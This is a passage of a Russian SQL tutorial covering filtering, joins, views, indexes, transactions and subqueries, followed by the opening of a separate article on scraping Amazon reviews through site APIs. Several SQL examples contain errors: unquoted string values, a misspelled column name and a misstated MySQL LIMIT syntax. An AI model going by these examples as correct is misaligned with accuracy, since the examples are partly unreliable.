```
Результат:
| userId | userName | age |
| --- | --- | --- |
| 1 | Igor | 25 |
| 2 | Vika | 26 |
| 3 | Elena | 27 |
| 4 | Oleg | 28 |
**[↥ Наверх](#)**
Предложение `WHERE`
-------------------
Предложение `WHERE` используется для фильтрации возвращаемых данных. Оно используется совместно с `SELECT`, `UPDATE`, `DELETE` и другими инструкциями.
```
SELECT col1, col2, ...col2
FROM tableName
WHERE condition;
```
Условие (condition), которому должны удовлетворять возвращаемые записи, определяется с помощью операторов сравнения или логических операторов типа `>`, `<`, `=`, `NOT`, `LIKE` и т.д.
Сделаем выборку полей `userId`, `userName` и `age` активных пользователей:
```
SELECT userId, userName, age
FROM users
WHERE status = 'active';
```
Результат:
| userId | userName | age |
| --- | --- | --- |
| 1 | Igor | 25 |
| 3 | Elena | 27 |
Сделаем выборку полей `userId`, `age` и `city` пользователя с именем `Vika`.
```
SELECT userId, age, city
FROM users
WHERE userName = 'Vika';
```
Результат:
| userId | age | city |
| --- | --- | --- |
| 2 | 26 | Ekaterinburg |
*Обратите внимание*: строки в предложении `WHERE` должны быть обернуты в одинарные кавычки (`''`), а числа, напротив, указываются как есть.
**[↥ Наверх](#)**
Операторы `AND` и `OR`
----------------------
Конъюнктивный оператор `AND` и дизъюнктивный оператор `OR` используются для соединения нескольких условий при фильтрации данных.
**`AND`**
```
SELECT col1, col2, ...colN
FROM tableName
WHERE condition1 AND condition2 ...AND conditionN;
```
Возвращаемые записи должны удовлетворять всем указанным условиям.
Сделаем выборку полей `userId`, `userName` и `age` активных пользователей старше 26 лет:
```
SELECT userId, userName, age
FROM users
WHERE status = active AND age > 26;
```
Результат:
| userId | userName | AGE |
| --- | --- | --- |
| 3 | Elena | 27 |
**`OR`**
```
SELECT col1, col2, ...colN
FROM tableName
WHERE condition1 OR condition2 ...OR conditionN;
```
Возвращаемые записи должны удовлетворять хотя бы одному условию.
Сделаем выборку тех же полей неактивных пользователей или пользователей, младше 27 лет:
```
SELECT userId, userName, age
FROM users
WHERE status = inactive OR age < 27;
```
Результат:
| userId | userName | age |
| --- | --- | --- |
| 1 | Igor | 25 |
| 2 | Vika | 26 |
**[↥ Наверх](#)**
Обновление полей
----------------
Для обновления полей используется инструкция `UPDATE ... SET`. Эта инструкция, обычно, используется в сочетании с предложением `WHERE`.
```
UPDATE tableName
SET col1 = val1, col2 = val2, ...colN = valN
[WHERE condition];
```
Обновим возраст пользователя с именем `Igor`:
```
UPDATE users
SET age = 30
WHERE username = 'Igor';
```
Если в данном случае опустить `WHERE`, то будет обновлен возраст всех пользователей.
**[↥ Наверх](#)**
Удаление записей
----------------
Для удаления записей используется инструкция `DELETE`. Эта инструкция также, как правило, используется в сочетании с предложением `WHERE`.
```
DELETE FROM tableName
[WHERE condition];
```
Удалим неактивных пользователей:
```
DELETE FROM users
WHERE status = 'inactive';
```
Если в данном случае опустить `WHERE`, то из таблицы `users` будут удалены все записи.
**[↥ Наверх](#)**
Предложения `LIKE` и `REGEX`
----------------------------
**`LIKE`**
Предложение `LIKE` используется для сравнения значений с помощью операторов с подстановочными знаками. Существует два вида таких операторов:
* проценты (`%`)
* нижнее подчеркивание (`_`)
`%` означает 0, 1 или более символов. `_` означает точно 1 символ.
```
SELECT col1, col2, ...colN FROM tableName
WHERE col LIKE 'xxx%'
-- или
WHERE col LIKE '%xxx%'
-- или
WHERE col LIKE '%xxx'
-- или
WHERE col LIKE 'xxx_'
-- и т.д.
```
Примеры:
| N | Инструкция | Результат |
| --- | --- | --- |
| 1 | WHERE col LIKE 'foo%' | Любые значения, начинающиеся с `foo` |
| 2 | WHERE col LIKE '%foo%' | Любые значения, содержащие `foo` |
| 3 | WHERE col LIKE '\_oo%' | Любые значения, содержащие `oo` на второй и третьей позициях |
| 4 | WHERE col LIKE 'f*%*%' | Любые значения, начинающиеся с `f` и состоящие как минимум из 1 символа |
| 5 | WHERE col LIKE '%oo' | Любые значения, оканчивающиеся на `oo` |
| 6 | WHERE col LIKE '\_o%o' | Любые значения, содержащие `o` на второй позиции и оканчивающиеся на `o` |
| 7 | WHERE col LIKE 'f\_o' | Любые значения, содержащие `f` и `o` на первой и третьей позициях, соответственно, и состоящие из трех символов |
Сделаем выборку неактивных пользователей:
```
SELECT * FROM users
WHERE status LIKE 'in%';
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 2 | Vika | 26 | Ekaterinburg | inactive |
| 4 | Oleg | 28 | Moscow | inactive |
Сделаем выборку пользователей 30 лет и старше:
```
SELECT * FROM users
WHERE age LIKE '3_';
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 30 | Moscow | active |
**`REGEX`**
Предложение `REGEX` позволяет определять регулярное выражение, которому должна соответствовать запись.
```
SELECT col1, col2, ...colN FROM tableName
WHERE colName REGEXP регулярное выражение;
```
В регулярное выражении могут использоваться следующие специальные символы:
* `^` — начало строки
* `$` — конец строки
* `.` — любой символ
* `[символы]` — любой из указанных в скобках символов
* `[начало-конец]` — любой символ из диапазона
* `|` — разделяет шаблоны
Сделаем выборку пользователей с именами `Igor` и `Vika`:
```
SELECT * FROM users
WHERE userName REGEXP 'Igor|Vika';
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 30 | Moscow | active |
| 2 | Vika | 26 | Ekaterinburg | inactive |
**[↥ Наверх](#)**
Предложение `TOP`/`LIMIT`/`ROWNUM`
----------------------------------
Данные предложения позволяют извлекать указанное количество или процент записей с начала таблицы. Разные СУБД поддерживают разные предложения.
```
SELECT TOP number|percent col1, col2, ...colN
FROM tableName
[WHERE condition];
```
Сделаем выборку первых трех пользователей:
```
SELECT TOP 3 * FROM users;
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 30 | Moscow | active |
| 2 | Vika | 26 | Ekaterinburg | inactive |
| 3 | Elena | 27 | Ekaterinburg | active |
В `mysql`:
```
SELECT * FROM users
LIMIT 3, [offset];
```
Параметр `offset` (смещение) определяет количество пропускаемых записей. Например, так можно извлечь первых двух пользователей, начиная с третьего:
```
SELECT * FROM users
LIMIT 2, 2;
```
В `oracle`:
```
SELECT * FROM users
WHERE ROWNUM <= 3;
```
**[↥ Наверх](#)**
Предложения `ORDER BY` и `GROUP BY`
-----------------------------------
**`ORDER BY`**
Предложение `ORDER BY` используется для сортировки данных по возрастанию (`ASC`) или убыванию (`DESC`). Многие СУБД по умолчанию выполняют сортировку по возрастанию.
```
SELECT col1, col2, ...colN
FROM tableName
[WHERE condition]
[ORDER BY col1, col2, ...colN] [ASC | DESC];
```
*Обратите внимание*: колонки для сортировки должны быть указаны в списке колонок для выборки.
Сделаем выборку пользователей, отсортировав их по городу и возрасту:
```
SELECT * FROM users
ORDER BY city, age;
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 2 | Vika | 26 | Ekaterinburg | inactive |
| 3 | Elena | 27 | Ekaterinburg | active |
| 1 | Igor | 25 | Moscow | active |
| 4 | Oleg | 28 | Moscow | inactive |
Теперь выполним сортировку по убыванию:
```
SELECT * FROM users
ORDER BY city, age DESC;
```
Определим собственный порядок сортировки по убыванию:
```
SELECT * FROM users
ORDER BY (CASE city
WHEN 'Ekaterinburg' THEN 1
WHEN 'Moscow' THEN 2
ELSE 100 END) ASC, city DESC;
```
**`GROUP BY`**
Предложение `GROUP BY` используется совместно с инструкцией `SELECT` для группировки записей. Оно указывается после `WHERE` и перед `ORDER BY`.
```
SELECT col1, col2, ...colN
FROM tableName
WHERE condition
GROUP BY col1, col2, ...colN
ORDER BY col1, col2, ...colN;
```
Сгруппируем активных пользователей по городам:
```
SELECT city, COUNT(city) AS amount FROM users
WHERE status = active
GROUP BY city
ORDER BY city;
```
Результат:
| city | amount |
| --- | --- |
| Ekaterinburg | 2 |
| Moscow | 2 |
**[↥ Наверх](#)**
Ключевое слово `DISTINCT`
-------------------------
Ключевое слово `DISTINCT` используется совместно с инструкцией `SELECT` для возврата только уникальных записей (без дубликатов).
```
SELECT DISTINCT col1, col2, ...colN
FROM tableName
[WHERE condition];
```
Сделаем выборку городов проживания пользователей:
```
SELECT DISTINCT city
FROM users;
```
Результат:
| city |
| --- |
| Ekaterinburg |
| Moscow |
**[↥ Наверх](#)**
Соединения
----------
Соединения (joins) используются для комбинации записей двух и более таблиц.
Предположим, что кроме `users`, у нас имеется таблица `orders` с заказами пользователей следующего содержания:
| orderId | date | userId | amount |
| --- | --- | --- | --- |
| 101 | 2021-06-21 00:00:00 | 2 | 3000 |
| 102 | 2021-06-20 00:00:00 | 2 | 1500 |
| 103 | 2021-06-19 00:00:00 | 3 | 2000 |
| 104 | 2021-06-18 00:00:00 | 3 | 1000 |
Сделаем выборку полей `userId`, `userName`, `age` и `amount` из наших таблиц посредством их соединения:
```
SELECT userId, userName, age, amount
FROM users, orders
WHERE users.userId = orders.userId;
```
Результат:
| userId | userName | age | amount |
| --- | --- | --- | --- |
| 2 | Vika | 26 | 3000 |
| 2 | Vika | 26 | 1500 |
| 3 | Elena | 27 | 2000 |
| 3 | Elena | 27 | 1000 |
При соединении таблиц могут использоваться такие операторы, как `=`, `<`, `>`, `<>`, `<=`, `>=`, `!=`, `BETWEEN`, `LIKE` и `NOT`, однако наиболее распространенным является `=`.
Существуют разные типы объединений:
* `INNER JOIN` — возвращает записи, имеющиеся в обеих таблицах
* `LEFT JOIN` — возвращает записи из левой таблицы, даже если такие записи отсутствуют в правой таблице
* `RIGHT JOIN` — возвращает записи из правой таблицы, даже если такие записи отсутствуют в левой таблице
* `FULL JOIN` — возвращает все записи объединяемых таблиц
* `CROSS JOIN` — возвращает все возможные комбинации строк обеих таблиц
* `SELF JOIN` — используется для объединения таблицы с самой собой
**[↥ Наверх](#)**
Предложение `UNION`
-------------------
Предложение/оператор `UNION` используется для комбинации результатов двух и более инструкций `SELECT`. При этом, возвращаются только уникальные записи.
В случае с `UNION`, каждая инструкция `SELECT` должна иметь:
* одинаковый набор колонок для выборки
* одинаковое количество выражений
* одинаковые типы данных колонок и
* одинаковый порядок колонок
Однако, они могут быть разной длины.
```
SELECT col1, col2, ...colN
FROM table1
[WHERE condition]
UNION
SELECT col1, col2, ...colN
FROM table2
[WHERE condition];
```
Объединим наши таблицы `users` и `orders`:
```
SELECT userId, userName, amount, date
FROM users
LEFT JOIN orders
ON users.useId = orders.userId
UNION
SELECT userId, userName, amount, date
FROM users
RIGHT JOIN orders
ON users.userId = orders.userId;
```
Результат:
| userId | userName | amount | date |
| --- | --- | --- | --- |
| 1 | Igor | NULL | NULL |
| 2 | Vika | 3000 | 2021-06-21 00:00:00 |
| 2 | Vika | 1500 | 2021-06-20 00:00:00 |
| 3 | Elena | 2000 | 2021-06-19 00:00:00 |
| 3 | Elena | 1000 | 2021-06-18 00:00:00 |
| 4 | Alex | NULL | NULL |
**[↥ Наверх](#)**
Предложение `UNION ALL`
-----------------------
Предложение `UNION ALL` также используется для объединения результатов двух и более инструкций `SELECT`. При этом, возвращаются все записи, включая дубликаты.
```
SELECT col1, col2, ...colN
FROM table1
[WHERE condition]
UNION ALL
SELECT col1, col2, ...colN
FROM table2
[WHERE condition];
```
Существует еще два предложения, похожих на `UNION`:
* `INTERSECT` — используется для комбинации результатов двух и более `SELECT`, но возвращаются только строки из первого `SELECT`, совпадающие со строками из второго `SELECT`
* `EXCEPT|MINUS` — возвращаются только строки из первого `SELECT`, отсутствующие во втором `SELECT`
**[↥ Наверх](#)**
Синонимы
--------
Синонимы (aliases) позволяют временно изменять названия таблиц и колонок. "Временно" означает, что новое название используется только в текущем запросе, в БД название остается прежним.
Синтаксис синонима таблицы:
```
SELECT col1, col2, ...colN
FROM tableName AS aliasName
[WHERE condition];
```
Синтаксис синонима колонки:
```
SELECT colName AS aliasName
FROM tableName
[WHERE condition];
```
Пример использования синонимов таблиц:
```
SELECT U.userId, U.userName, U.age, O.amount
FROM users AS U, orders AS O
WHERE U.userId = O.userId;
```
Результат:
| userId | userName | age | amount |
| --- | --- | --- | --- |
| 2 | Vika | 26 | 3000 |
| 2 | Vika | 26 | 1500 |
| 3 | Elena | 27 | 2000 |
| 3 | Elena | 27 | 1000 |
Пример использования синонимов колонок:
```
SELECT userId AS user_id, userName AS user_name, age AS user_age
FROM users
WHERE status = active;
```
Результат:
| user\_id | user\_name | user\_age |
| --- | --- | --- |
| 1 | Igor | 30 |
| 3 | Elena | 27 |
**[↥ Наверх](#)**
Индексы
-------
**Создание индексов**
Индексы — это специальные поисковые таблицы (lookup tables), которые используются движком БД в целях более быстрого извлечения данных. Проще говоря, индекс — это указатель или ссылка на данные в таблице.
Индексы ускоряют работу инструкции `SELECT` и предложения `WHERE`, но замедляют работу инструкций `UPDATE` и `INSERT`. Индексы могут создаваться и удаляться, не оказывая никакого влияния на данные.
Для создания индекса используется инструкция `CREATE INDEX`, позволяющая определять название индекса, индексируемые колонки и порядок индексации (по возрастанию или по убыванию).
К индексам можно применять ограничение `UNIQUE` для того, чтобы обеспечить их уникальность.
Синтаксис создания индекса:
```
CREATE INDEX indexName ON tableName;
```
Синтаксис создания индекса для одной колонки:
```
CREATE INDEX indexName
ON tableName (colName);
```
Синтакис создания уникальных индексов (такие индексы используются не только для повышения производительности, но и для обеспечения согласованности данных):
```
CREATE UNIQUE INDEX indexName
ON tableName (colName);
```
Синтаксис создания индексов для нескольких колонок (композиционный индекс):
```
CREATE INDEX indexName
ON tableName (col1, col2, ...colN);
```
Решение о создании индексов для одной или нескольких колонок следует принимать на основе того, какие колонки будут часто использоваться в запросе `WHERE` в качестве условия для сортировки строк.
Для ограничений `PRIMARY KEY` и `UNIQUE` автоматически создаются неявные индексы.
**Удаление индексов**
Для удаления индексов используется инструкция `DROP INDEX`:
```
DROP INDEX indexName;
```
Несмотря на то, что индексы предназначены для повышения производительности БД, существуют ситуации, в которых их использования лучше избегать.
К таким ситуациям относится следующее:
* индексы не должны использоваться в маленьких таблицах
* в таблицах, которые часто и в большом объеме обновляются или перезаписываются
* в колонках, которые содержат большое количество нулевых значений
* в колонках, над которыми часто выполняются операции
**[↥ Наверх](#)**
Обновление таблицы
------------------
Команда `ALTER TABLE` используется для добавления, удаления и модификации колонок существующей таблицы. Также эта команда используется для добавления и удаления ограничений.
Синтаксис:
```
-- добавление новой колонки
ALTER TABLE tableName ADD colName datatype;
-- удаление колонки
ALTER TABLE tableName DROP COLUMN colName;
-- изменение типа данных колонки
ALTER TABLE tableName MODIFY COLUMN colName newDatatype;
-- добавление ограничения `NOT NULL`
ALTER TABLE tableName MODIFY colName datatype NOT NULL;
-- добавление ограничения `UNIQUE`
ALTER TABLE tableName
ADD CONSTRAINT myUniqueConstraint UNIQUE (col1, col2, ...colN);
-- добавление ограничения `CHECK`
ALTER TABLE tableName
ADD CONSTRAINT myUniqueConstraint CHECK (condition);
-- добавление первичного ключа
ALTER TABLE tableName
ADD CONSTRAINT myPrimaryKey PRIMARY KEY (col1, col2, ...colN);
-- удаление ограничения
ALTER TABLE tableName
DROP CONSTRAINT myUniqueContsraint;
-- mysql
ALTER TABLE tableName
DROP INDEX myUniqueContsraint;
-- удаление первичного ключа
ALTER TABLE tableName
DROP CONSTRAINT myPrimaryKey;
-- mysql
ALTER TABLE tableName
DROP PRIMARY KEY;
```
Добавляем в таблицу `users` новую колонку — пол пользователя:
```
ALTER TABLE users ADD sex char(1);
```
Удаляем эту колонку:
```
ALTER TABLE users DROP sex;
```
**[↥ Наверх](#)**
Очистка таблицы
---------------
Команда `TRUNCATE TABLE` используется для очистки таблицы. Ее отличие от `DROP TABLE` состоит в том, что сохраняется структура таблицы (`DROP TABLE` полностью удаляет таблицу и все ее данные).
```
TRUNCATE TABLE tableName;
```
Очищаем таблицу `users`:
```
TRUNCATE TABLE users;
```
Проверяем, что `users` пустая:
```
SELECT * FROM users;
-- Empty set (0.00 sec)
```
**[↥ Наверх](#)**
Представления
-------------
Представление (view) — это не что иное, как инструкция, записанная в БД под определенным названием. Другими словами, представление — это композиция таблицы в форме предварительно определенного запроса.
Представления могут содержать все или только некоторые строки таблицы. Представление может быть создано на основе одной или нескольких таблиц (это зависит от запроса для создания представления).
Представления — это виртутальные таблицы, позволяющие делать следующее:
* структурировать данные способом, который пользователи находят наиболее естественным или интуитивно понятным
* ограничивать доступ к данным таким образом, что пользователь может просматривать и (иногда) модифицировать только то, что ему нужно и ничего более
* объединять данные из нескольких таблиц для формирования отчетов
**Создание представления**
Для создания представления используется инструкция `CREATE VIEW`. Как было отмечено, представления могут создаваться на основе одной или нескольких таблиц, и даже на основе другого представления.
```
CREATE VIEW viewName AS
SELECT col1, col2, ...colN
FROM tableName
[WHERE condition];
```
Создаем представление для имен и возраста пользователей:
```
CREATE VIEW usersView AS
SELECT userName, age
FROM users;
```
Получаем данные с помощью представления:
```
SELECT * FROM usersView;
```
Результат:
| userName | age |
| --- | --- |
| Igor | 30 |
| Vika | 26 |
| Elena | 27 |
| Oleg | 28 |
**`WITH CHECK OPTION`**
`WITH CHECK OPTION` — это настройка инструкции `CREATE VIEW`. Она позволяет обеспечить соответствие всех `UPDATE` и `INSERT` условию, определенном в представлении.
Если условие не удовлетворяется, выбрасывается исключение.
```
CREATE VIEW usersView AS
SELECT userName, age
FROM users
WHERE age IS NOT NULL
WITH CHECK OPTION;
```
**Обновление представления**
Представление может быть обновлено при соблюдении следующих условий:
* `SELECT` не содержит ключевого слова `DISTINCT`
* `SELECT` не содержит агрегирующих функций
* `SELECT` не содержит функций установки значений
* `SELECT` не содержит операций установки значений
* `SELECT` не содержит предложения `ORDER BY`
* `FROM` не содержит больше одной таблицы
* `WHERE` не содержит подзапросы
* запрос не содержит `GROUP BY` или `HAVING`
* вычисляемые колонки не обновляются
* все ненулевые колонки из базовой таблицы включены в представление в том же порядке, в каком они указаны в запросе `INSERT`
Пример обновления возраста пользователя с именем `Igor` в представлении:
```
UPDATE usersView
SET age = 31
WHERE userName = 'Igor';
```
*Обратите внимание*: обновление строки в представлении приводит к ее обновлению в базовой таблице.
В представление могут добавляться новые строки с помощью команды `INSERT`. При выполнении этой команды должны соблюдаться те же правила, что и при выполнении команды `UPDATE`.
С помощью команды `DELETE` можно удалять строки из представления.
Удаляем из представления пользователя, возраст которого составляет 26 лет:
```
DELETE FROM usersView
WHERE age = 26;
```
*Обратите внимание*: удаление строки в представлении приводит к ее удалению в базовой таблице.
**Удаление представления**
Для удаления представления используется инструкция `DROP VIEW`:
```
DROP VIEW viewName;
```
Удаляем представление `usersView`:
```
DROP VIEW usersView;
```
**[↥ Наверх](#)**
`HAVING`
--------
Предложение `HAVING` используется для фильтрации результатов группировки. `WHERE` используется для применения условий к колонкам, а `HAVING` — к группам, созданным с помощью `GROUP BY`.
`HAVING` должно указываться после `GROUP BY`, но перед `ORDER BY` (при наличии).
```
SELECT col1, col2, ...colN
FROM table1, table2, ...tableN
[WHERE condition]
GROUP BY col1, col2, ...colN
HAVING condition
ORDER BY col1, col2, ...colN;
```
**[↥ Наверх](#)**
Транзакции
----------
Транзакция — это единица работы или операции, выполняемой над БД. Это последовательность операций, выполняемых в логическом порядке. Эти операции могут запускаться как пользователем, так и какой-либо программой, функционирующей в БД.
Транзакция — это применение одного или более изменения к БД. Например, при создании/обновлении/удалении записи мы выполняем транзакцию. Важно контролировать выполнение таких операций в целях обеспечения согласованности данных и обработки возможных ошибок.
На практике, запросы, как правило, не отправляются в БД по одному, они группируются и выполняются как часть транзакции.
**Свойства транзакции**
Транзакции имеют 4 стандартных свойства (ACID):
* атомарность (atomicity) — все операции транзакции должны быть успешно завершены. В противном случае, транзакция прерывается, а все изменения отменяются (происходит откат к предыдущему состоянию)
* согласованность (consistency) — состояние должно изменться в полном соответствии с операциями транзакции
* изоляция или автономность (isolation) — транзакции не зависят друг от друга и не оказывают друг на друга никакого влияния
* долговечность (durability) — результат звершенной транзакции должен сохраняться при поломке системы
**Управление транзакцией**
Для управления транзакцией используются следующие команды:
* `BEGIN|START TRANSACTION` — запуск транзакции
* `COMMIT` — сохранение изменений
* `ROLLBACK` — отмена изменений
* `SAVEPOINT` — контрольная точка для отмены изменений
* `SET TRANSACTION` — установка характеристик текущей транзакции
Команды для управления транзакцией могут использоваться только совместно с такими запросами как `INSERT`, `UPDATE` и `DELETE`. Они не могут использоваться во время создания и удаления таблиц, поскольку эти операции автоматически отправляются в БД.
Удаляем пользователя, возраст которого составляет 26 лет, и отправляем изменения в БД:
```
BEGIN TRANSACTION
DELETE FROM users
WHERE age = 26;
COMMIT;
```
Удаляем пользователя с именем `Oleg` и отменяем эту операцию:
```
BEGIN
DELETE FROM users
WHERE username = 'Oleg';
ROLLBACK;
```
Контрольные точки создаются с помощью такого синтаксиса:
```
SAVEPOINT savepointName;
```
Возврат к контрольной точке выполняется так:
```
ROLLBACK TO savepointName;
```
Выполняем три запроса на удаление данных из `users`, создавая контрольные точки перед каждый удалением:
```
START TRANSACTION
SAVEPOINT sp1;
DELETE FROM users
WHERE age = 26;
SAVEPOINT sp2;
DELETE FROM users
WHERE userName = 'Oleg';
SAVEPOINT sp3;
DELETE FROM users
WHERE status = 'inactive';
```
Отменяем два последних удаления, возвращаясь к контрльной точке `sp2`, созданной после первого удаления:
```
ROLLBACK TO sp2;
```
Делаем выборку пользователей:
```
SELECT * FROM users;
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 31 | Moscow | active |
| 3 | Elena | 27 | Ekaterinburg | active |
| 4 | Oleg | 28 | Moscow | inactive |
Как видим, из таблицы был удален только пользователь с возрастом 26 лет.
Для удаление контрольной точки используется команда `RELEASE SAVEPOINT`. Естественно, после удаления контрольной точки, к ней нельзя будет вернуться с помощью `ROLLBACK TO`.
Команда `SET TRANSACTION` используется для инициализации транзакции, т.е. начала ее выполнения. При этом, можно определять некоторые характеристики транзакции. Например, так можно определить уровень доступа транзакции (доступна только для чтения или для записи тоже):
```
SET TRANSACTION [READ WRITE | READ ONLY];
```
**[↥ Наверх](#)**
Временные таблицы
-----------------
Некоторые СУБД поддерживают так называемые временные таблицы (temporary tables). Такие таблицы позволяют хранить и обрабатывать промежуточные результаты с помощью таких же запросов, как и при работе с обычными таблицами.
Временные таблицы могут быть очень полезными при необходимости хранения временных данных. Одной из главных особенностей таких таблиц является то, что они удаляются по завершении текущей сессии. При запуске скрипта временная таблица удаляется после завершения выполнения этого скрипта. При доступе к БД с помощью клиентской программы, такая таблица будет удалена после закрытия этой программы.
Временная таблица создается с помощью инструкции `CREATE TEMPORARY TABLE`, в остальном синтаксис создания таких таблиц идентичен синтаксису создания обычных таблиц.
Временная таблица удаляется точно также, как и обычная таблица, с помощью инструкции `DROP TABLE`.
**[↥ Наверх](#)**
Клонирование таблицы
--------------------
Может возникнуть ситуация, когда потребуется получить точную копию существующей таблицы, а `CREATE TABLE` или `SELECT` окажется недостаточно в силу того, что мы хотим получить не только идентичную структуру, но также индексы, значения по умолчанию и т.д. копируемой таблицы.
В `mysql`, например, это можно сделать так:
* вызываем команду `SHOW CREATE TABLE` для получения инструкции, выполненной при создании таблицы, включая индексы и прочее
* меняем название таблицы и выполняем запрос. Получаем точную копию таблицы
* опционально: если требуется содержимое копируемой таблицы, можно также использовать инструкции `INSERT INTO` или `SELECT`
**[↥ Наверх](#)**
Подзапросы
----------
Подзапрос — это внутренний (вложенный) запрос другого запроса, встроенный (вставленный) с помощью `WHERE` или других инструкций.
Подзапрос используется для получения данных, которые будут использованы основным запросом в качестве условия для фильтрации возвращаемых записей.
Подзапросы могут использоваться в инструкциях `SELECT`, `INSERT`, `UPDATE` и `DELETE`, а также с операторами `=`, `<`, `>`, `>=`, `<=`, `IN`, `BETWEEN` и т.д.
Правила использования подзапросов:
* они должны быть обернуты в круглые скобки
* подзапрос должен содержать только одну колонку для выборки, если основной запрос не содержит несколько таких колонок, которые сравниваются в подзапросе
* в подзапросе нельзя использовать команду `ORDER BY`, это можно сделать в основном запросе. В подзапросе для замены `ORDER BY` можно использовать `GROUP BY`
* подзапросы, возвращающие несколько значений, могут использоваться только с операторами, которые работают с наборами значений, такими как `IN`
* список `SELECT` не может содержать ссылки на значения, которые оцениваются (вычисляются) как `BLOB`, `ARRAY`, `CLOB` или `NCLOB`
* подзапрос не может быть сразу передан в функцию для установки значений
* команду `BETWEEN` нельзя использовать совместно с подзапросом. Тем не менее, в самомподзапросе указанную команду использовать можно
Подзапросы, обычно, используются в инструкции `SELECT`.
```
SELECT col1, col2, ...colN
FROM table1, table2, ...tableN
WHERE colName operator
(SELECT col1, col2, ...colN
FROM table1, table2, tableN
[WHERE condition]);
```
Пример:
```
SELECT * FROM users
WHERE userId IN (
SELECT userId FROM users
WHERE status = 'active'
);
```
Результат:
| userId | userName | age | city | status |
| --- | --- | --- | --- | --- |
| 1 | Igor | 30 | Moscow | active |
| 3 | Elena | 27 | Ekaterinburg | active |
Подзапросы могут использоваться в инструкции `INSERT`. Эта инструкция добавляет в таблицу данные, возвращаемые подзапросом. При этом, данные, возвращаемые подзапросом, могут быть модифицированы любыми способами.
```
INSERT INTO tableName col1, col2, ...colN
SELECT col1, col2, ...colN
FROM table1, table2, ...tableN
[WHERE operator [value]];
```
Подзапросы могут использоваться в инструкции `UPDATE`. При этом, данные из подзапроса могут использоваться для обновления любого количества колонок.
```
UPDATE tableName
SET col = newVal
[WHERE operator [value]
(
SELECT colName
FROM tableName
[WHERE condition]
)
];
```
Данные, возвращаемые подзапросом, могут использоваться и для удаления записей.
```
DELETE FROM tableName
[WHERE operator [value]
(
SELECT colName
FROM tableName
[WHERE condition]
)
];
```
**[↥ Наверх](#)**
Последовательности
------------------
Последовательность — это набор целых чисел (1, 2, 3 и т.д.), генерируемых автоматически. Последовательности часто используются в БД, поскольку многие приложения нуждаются в уникальных значениях, используемых для идентификации строк.
Приведенные ниже примеры рассчитаны на `mysql`.
Простейшим способом определения последовательности является использование `AUTO_INCREMENT` при создании таблицы:
```
CREATE TABLE tableName (
id INT UNSIGNED NOT NULL AUTO_INCREMENT,
PRIMARY KEY (id),
-- другие строки
);
```
Для того, чтобы заново пронумеровать строки с помощью автоматически генерируемых значений (например, при удалении большого количества строк), можно удалить колонку, содержащую такие значения и создать ее заново. *Обратите внимание*: такая таблица не должна быть частью объединения.
```
ALTER TABLE tableName DROP id;
ALTER TABLE tableName
ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT FIRST,
ADD PRIMARY KEY (id);
```
По умолчанию значения, генерируемые с помощью `AUTO_INCREMENT`, начинаются с 1. Для того, чтобы установить другое начальное значение достаточно указать, например, `AUTO_INCREMENT = 100` — в этом случае нумерация строк начнется со 100.
**[↥ Наверх](#)** | https://habr.com/ru/post/564390/ | null | ru | null |
# Скрапинг современных веб-сайтов без headless-браузеров
Многие разработчики считают скрапинг сложной, медленной и неудобной для масштабирования задачей, особенно при работе с headless-браузерами. По моему опыту, можно заниматься скрапингом современных веб-сайтов даже не пользуясь безголовыми браузерами. Это очень простой, быстрый и хорошо масштабируемый процесс.
Для его демонстрации вместо Selenium, Puppeteer или любого другого решения на основе безголовых браузеров мы просто используем запросы на Python. Я объясню, как можно скрапить информацию из публичных API, которые потребляет на фронтэнде большинство современных веб-сайтов.
На традиционных веб-страницах наша задача заключается в парсинге HTML и извлечении нужной информации. На современных веб-сайтах фронтэнд скорее всего не будет содержать особо много HTML, потому что данные получаются асинхронно после первого запроса. Поэтому большинство людей использует безголовые браузеры — они способны выполнять JavaScript, делать дальнейшие запросы, после чего можно распарсить всю страницу целиком.
Но существует и другой способ, которым можно довольно часто пользоваться.
Скрапинг публичных API
======================
Давайте разберёмся, как можно использовать API, которые веб-сайты применяют для загрузки данных. Я буду скрапить обзоры продукта на Amazon и покажу, как вам сделать то же самое. Если вы повторите описанный мной процесс, то удивитесь, насколько просто его подготовить.
Наша задача — извлечь все обзоры конкретного продукта. Чтобы повторять за туториалом, [нажмите сюда](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882/) или найдите любой другой продукт.
*Скриншот [продукта](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882/).*
Наша задача — извлечь как можно больше информации. Помните, когда занимаетесь скрапингом данных, жадность наказуема. Если не извлечь какую-то информацию, то придётся выполнять весь процесс заново, просто чтобы добавить ещё немного данных. И поскольку самой тяжёлой частью скрапинга являются HTTP-запросы, обработка не должна занимать много времени, однако необходимо постараться минимизировать количество запросов.
Перейдя на страницу продукта и нажав на «ratings», а затем выбрав «See all reviews», мы увидим следующее:
*[Страница обзоров](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/product-reviews/0132350882/ref=cm_cr_dp_d_show_all_btm?ie=UTF8&reviewerType=all_reviews) продукта*
Это отдельные обзоры. Наша задача — извлечь информацию с этой страницы без использования безголового браузера для рендеринга страницы.
Процесс прост — для него потребуются браузерные инструменты разработчика. Нужно заставить сайт обновить обзоры, чтобы найти возвращающий их запрос. Большинство браузеров после открытия инструментов разработчика отслеживает сетевые запросы, поэтому откройте их перед выполнением обновления.
В данном случае я изменил сортировку с «Top Reviews» на «Most Recent». Взглянув на вкладку Network, я вижу только один новый запрос, то есть обзоры получаются из этого запроса.
Поскольку на страницах выполняется отслеживание и аналитика, иногда при каждом нажатии мышью будет создаваться несколько событий, но если просмотреть их, то вы сможете найти запрос, получающий нужную информацию.
Следующим шагом будет переход на вкладку Response, чтобы понять, в каком формате принимаются обзоры.
Часто запросы бывают в читаемом формате JSON, который можно легко преобразовывать и хранить.
В других случаях, например, в нашем, всё чуть сложнее, но задача всё равно решаема.
